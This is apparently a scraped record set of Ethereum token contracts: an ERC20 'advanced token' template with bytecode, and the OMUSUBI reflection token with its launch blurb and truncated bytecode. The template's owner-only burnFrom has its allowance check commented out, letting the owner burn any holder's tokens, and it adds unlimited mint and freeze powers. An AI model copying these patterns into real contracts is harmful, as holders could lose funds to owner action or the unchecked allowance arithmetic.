// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0x0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract MyAdvancedToken is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != address(0x0)); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(address(0), address(this), mintedAmount);
emit Transfer(address(this), target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
//require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
|
0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461010b578063095ea7b31461019557806318160ddd146101cd57806323b872dd146101f4578063313ce5671461021e57806342966c68146102495780634b7503341461026157806370a082311461027657806379c650681461029757806379cc6790146102bd5780638620410b146102e15780638da5cb5b146102f657806395d89b4114610327578063a9059cbb1461033c578063b414d4b614610360578063cae9ca5114610381578063dd62ed3e146103ea578063e724529c14610411578063f2fde38b14610437575b600080fd5b34801561011757600080fd5b50610120610458565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015a578181015183820152602001610142565b50505050905090810190601f1680156101875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a157600080fd5b506101b9600160a060020a03600435166024356104e5565b604080519115158252519081900360200190f35b3480156101d957600080fd5b506101e261054b565b60408051918252519081900360200190f35b34801561020057600080fd5b506101b9600160a060020a0360043581169060243516604435610551565b34801561022a57600080fd5b506102336105c0565b6040805160ff9092168252519081900360200190f35b34801561025557600080fd5b506101b96004356105c9565b34801561026d57600080fd5b506101e2610641565b34801561028257600080fd5b506101e2600160a060020a0360043516610647565b3480156102a357600080fd5b506102bb600160a060020a0360043516602435610659565b005b3480156102c957600080fd5b506101b9600160a060020a036004351660243561070f565b3480156102ed57600080fd5b506101e26107c8565b34801561030257600080fd5b5061030b6107ce565b60408051600160a060020a039092168252519081900360200190f35b34801561033357600080fd5b506101206107dd565b34801561034857600080fd5b506101b9600160a060020a0360043516602435610835565b34801561036c57600080fd5b506101b9600160a060020a036004351661084b565b34801561038d57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101b9948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506108609650505050505050565b3480156103f657600080fd5b506101e2600160a060020a0360043581169060243516610979565b34801561041d57600080fd5b506102bb600160a060020a03600435166024351515610996565b34801561044357600080fd5b506102bb600160a060020a0360043516610a11565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104dd5780601f106104b2576101008083540402835291602001916104dd565b820191906000526020600020905b8154815290600101906020018083116104c057829003601f168201915b505050505081565b336000818152600660209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60045481565b600160a060020a038316600090815260066020908152604080832033845290915281205482111561058157600080fd5b600160a060020a03841660009081526006602090815260408083203384529091529020805483900390556105b6848484610a57565b5060019392505050565b60035460ff1681565b336000908152600560205260408120548211156105e557600080fd5b3360008181526005602090815260409182902080548690039055600480548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a2506001919050565b60075481565b60056020526000908152604090205481565b600054600160a060020a0316331461067057600080fd5b600160a060020a03821660009081526005602090815260408083208054850190556004805485019055805184815290513093927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef928290030190a3604080518281529051600160a060020a0384169130917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b60008054600160a060020a0316331461072757600080fd5b600160a060020a03831660009081526005602052604090205482111561074c57600080fd5b600160a060020a0383166000818152600560209081526040808320805487900390556006825280832033845282529182902080548690039055600480548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a250600192915050565b60085481565b600054600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156104dd5780601f106104b2576101008083540402835291602001916104dd565b6000610842338484610a57565b50600192915050565b60096020526000908152604090205460ff1681565b60008361086d81856104e5565b15610971576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b838110156109055781810151838201526020016108ed565b50505050905090810190601f1680156109325780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561095457600080fd5b505af1158015610968573d6000803e3d6000fd5b50505050600191505b509392505050565b600660209081526000928352604080842090915290825290205481565b600054600160a060020a031633146109ad57600080fd5b600160a060020a038216600081815260096020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600054600160a060020a03163314610a2857600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0382161515610a6c57600080fd5b600160a060020a038316600090815260056020526040902054811115610a9157600080fd5b600160a060020a0382166000908152600560205260409020548181011015610ab857600080fd5b600160a060020a03831660009081526009602052604090205460ff1615610ade57600080fd5b600160a060020a03821660009081526009602052604090205460ff1615610b0457600080fd5b600160a060020a03808416600081815260056020908152604080832080548790039055938616808352918490208054860190558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050505600a165627a7a72305820bbe6793ce9b371a7bf3f88954aa84cb06d2d6ce42fafbe219bfc03e20ff267e00029
|
{"success": true, "error": null, "results": {}}
| 7,885 |
0xa5276c70f0aad38a1262fa89fa102bdc534fc144
|
/*
Telegram: https://t.me/Omusubi_Token
Twitter: https://twitter.com/OmusubiToken
Website: https://omusubitoken.com (before token launch)
▄██████▄ ▄▄▄▄███▄▄▄▄ ███ █▄ ▄████████ ███ █▄ ▀█████████▄ ▄█
███ ███ ▄██▀▀▀███▀▀▀██▄ ███ ███ ███ ███ ███ ███ ███ ███ ███
███ ███ ███ ███ ███ ███ ███ ███ █▀ ███ ███ ███ ███ ███▌
███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ▄███▄▄▄██▀ ███▌
███ ███ ███ ███ ███ ███ ███ ▀███████████ ███ ███ ▀▀███▀▀▀██▄ ███▌
███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ██▄ ███
███ ███ ███ ███ ███ ███ ███ ▄█ ███ ███ ███ ███ ███ ███
▀██████▀ ▀█ ███ █▀ ████████▀ ▄████████▀ ████████▀ ▄█████████▀ █▀
Welcome to OMUSUBI! 🍱
OMUSUBI is an even more twisted food meme token. Unlike many Notinu forks, it has no sale limitations benefit both whales and shrimps alike, and an innovative dynamic reflection tax rate which increases proportionate to the size of the sell.
🙈 As a sneak peak, here are the basic features of how the contract will be:
✅ a) 5,000,000,000,000 Total Omusubi
✅ b) 100% added to Uniswap as Liquidity (No shitty presale or dev tokens)
✅ c) 15,000,000,000 limit max buy limit + 45sec cooldown between buys for only the FIRST TWO MINUTES, which is lifted automatically. There will be a 15sec cooldown after a buy to nuke the frontrunning bots. (post two minutes there won't be buy/sell limits)
✅ d) 10% total tax on buy
1) 6% Tax for Redistribution to Hodlers as rewards
2) 2% Tax for Buyback
3) 2% Tax Marketing
✅ e) There will be a dynamic fee based on the price impact, ranging from 10% to 40% fee with NO time restrictive sell limits (unlike Myōbu).
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract OMUSUBI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 5e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Omusubi";
string private constant _symbol = unicode"OMUSUBI";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 4;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _BuybackWallet;
address payable private _MarketingWallet;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable BuybackWallet, address payable MarketingWallet) {
_BuybackWallet = BuybackWallet;
_MarketingWallet = MarketingWallet;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[BuybackWallet] = true;
_isExcludedFromFee[MarketingWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(6)).div(10);
_teamFee = (_impactFee.mul(4)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 6;
_teamFee = 4;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_BuybackWallet.transfer(amount.div(2));
_MarketingWallet.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 15000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
}
function manualswap() external {
require(_msgSender() == _BuybackWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _BuybackWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _BuybackWallet);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130df565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bfd565b61054a565b6040516101a491906130c4565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132c1565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612bae565b61057a565b60405161020c91906130c4565b60405180910390f35b34801561022157600080fd5b5061022a610653565b60405161023791906132c1565b60405180910390f35b34801561024c57600080fd5b50610255610663565b6040516102629190613336565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c8b565b61066c565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c39565b610753565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b20565b61084b565b6040516102f191906132c1565b60405180910390f35b34801561030657600080fd5b5061030f6108a2565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b20565b610914565b60405161034591906132c1565b60405180910390f35b34801561035a57600080fd5b50610363610965565b005b34801561037157600080fd5b5061037a610ab8565b6040516103879190612ff6565b60405180910390f35b34801561039c57600080fd5b506103a5610ae1565b6040516103b291906130df565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bfd565b610b1e565b6040516103ef91906130c4565b60405180910390f35b34801561040457600080fd5b5061040d610b3c565b60405161041a91906130c4565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b20565b610b53565b60405161045791906132c1565b60405180910390f35b34801561046c57600080fd5b50610475610baa565b005b34801561048357600080fd5b5061048c610c24565b005b34801561049a57600080fd5b506104a3610ce8565b6040516104b091906132c1565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b72565b610d1a565b6040516104ed91906132c1565b60405180910390f35b34801561050257600080fd5b5061050b610da1565b005b60606040518060400160405280600781526020017f4f6d757375626900000000000000000000000000000000000000000000000000815250905090565b600061055e6105576112b2565b84846112ba565b6001905092915050565b600069010f0cf064dd59200000905090565b6000610587848484611485565b610648846105936112b2565b61064385604051806060016040528060288152602001613a1860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f96112b2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4f9092919063ffffffff16565b6112ba565b600190509392505050565b600061065e30610914565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ad6112b2565b73ffffffffffffffffffffffffffffffffffffffff16146106cd57600080fd5b60338110610710576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610707906131a1565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074891906132c1565b60405180910390a150565b61075b6112b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107df90613201565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161084091906130c4565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089b9190613487565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e36112b2565b73ffffffffffffffffffffffffffffffffffffffff161461090357600080fd5b600047905061091181611db3565b50565b600061095e600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eae565b9050919050565b61096d6112b2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f190613201565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4f4d555355424900000000000000000000000000000000000000000000000000815250905090565b6000610b32610b2b6112b2565b8484611485565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba39190613487565b9050919050565b601160009054906101000a900473